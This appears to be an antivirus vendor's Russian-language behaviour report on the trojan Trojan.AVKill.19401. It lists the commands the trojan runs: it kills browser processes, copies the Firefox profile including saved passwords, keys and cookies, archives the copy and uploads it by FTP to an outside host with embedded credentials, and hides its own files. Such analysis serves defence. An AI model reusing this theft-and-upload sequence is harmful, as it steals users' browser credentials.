Trojan.AVKill.19401

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

<Текущая директория>\ncftpput.exe -u firefox-tool -p hackingapple firefox-tool.ftp.narod.ru / "CRNJEUFU-Firefox_Tool.7z"
<Текущая директория>\Zip.exe A "CRNJEUFU-Firefox_Tool.7z" "CRNJEUFU-Firefox Tool\"

Запускает на исполнение:

<SYSTEM32>\findstr.exe /C:"Safari.exe" "Tasklist.txt"
<SYSTEM32>\findstr.exe /C:"chrome.exe" "Tasklist.txt"
<SYSTEM32>\findstr.exe /C:"opera.exe" "Tasklist.txt"
<SYSTEM32>\taskkill.exe /F /IM opera.exe
<SYSTEM32>\xcopy.exe /E /H /Y "%APPDATA%\Mozilla\Firefox\Profiles" "CRNJEUFU-Firefox Tool\Mozilla Firefox\"
<SYSTEM32>\ipconfig.exe
<SYSTEM32>\taskkill.exe /F /IM chrome.exe
<SYSTEM32>\attrib.exe +H "CRNJEUFU-Firefox Tool"
<SYSTEM32>\attrib.exe +H "ncftpput.exe"
<SYSTEM32>\attrib.exe +H "chrome.exe"
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\Firefox Tool 4.2.3 Hide.cmd" "
<SYSTEM32>\attrib.exe +H "Zip.exe"
<SYSTEM32>\findstr.exe /C:"firefox.exe" "Tasklist.txt"
<SYSTEM32>\taskkill.exe /F /IM firefox.exe
<SYSTEM32>\ping.exe -n 1 google.com
<SYSTEM32>\tasklist.exe

Завершает или пытается завершить

следующие пользовательские процессы:

chrome.exe
opera.exe
firefox.exe

Изменения в файловой системе:

Создает следующие файлы:

<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\search.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\search.json
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\sessionstore.bak
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\secmod.db
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\places.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\permissions.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\prefs.js
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\pluginreg.dat
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\sessionstore.js
<Текущая директория>\CRNJEUFU-Firefox Tool\Report.txt
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\chrome\userContent-example.css
%HOMEPATH%\ncftp\firewall.txt
<Текущая директория>\CRNJEUFU-Firefox_Tool.7z
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\webappsstore.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\signons.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\chrome\userChrome-example.css
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\bookmarkbackups\bookmarks-2011-11-10.json
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\mimeTypes.rdf
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\bookmarks.html
<Текущая директория>\Tasklist.txt
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\chromeappsstore.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\cert8.db
<Текущая директория>\ncftpput.exe
%TEMP%\1.tmp\Firefox Tool 4.2.3 Hide.cmd
<Текущая директория>\chrome.exe
<Текущая директория>\Zip.exe
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\compatibility.ini
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\formhistory.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\extensions.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\localstore.rdf
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\key3.db
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\cookies.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\content-prefs.sqlite
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\extensions.ini
<Текущая директория>\CRNJEUFU-Firefox Tool\Mozilla Firefox\cwdgt0y8.default\downloads.sqlite